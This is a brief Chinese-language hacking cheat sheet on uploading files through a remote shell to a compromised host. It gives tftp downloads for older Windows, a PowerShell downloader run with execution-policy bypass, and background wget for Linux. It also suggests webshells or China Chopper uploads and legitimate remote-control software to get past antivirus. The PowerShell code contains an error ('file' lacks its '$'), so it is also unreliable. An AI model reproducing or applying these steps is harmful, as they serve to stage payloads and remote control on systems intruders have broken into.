**拿到遠程shell上傳文件(cmd)** * * * * * ***windows：*** **xp、03等系統用tftp傳:** tftp 192.168.1.2(開啟tftp的主機) get 文件名 tftp會被防火墻攔截 * * * * * **win7、08以上用powershell** 首先：echo get.ps1內容 > get.ps1 //創建這個文件 get.ps1(文件內容): ~~~ $wc=New-Object System.Net.WebClient $url="http://下載地址" $file="newname.exe" $wc.DownloadFile($url,file) ~~~ 執行下邊命令： `powershell.exe -ExecutionPolicy Bypass -NonInteractive -NoProfile -File get.ps1` **Linux：** `wget 下載地址 //-b參數：進行后臺的方式運行wget` * * * * * **有webshell或者菜刀就直接傳 ——`遠控`** 最大的挑戰，反病毒軟件 使用合法的遠控軟件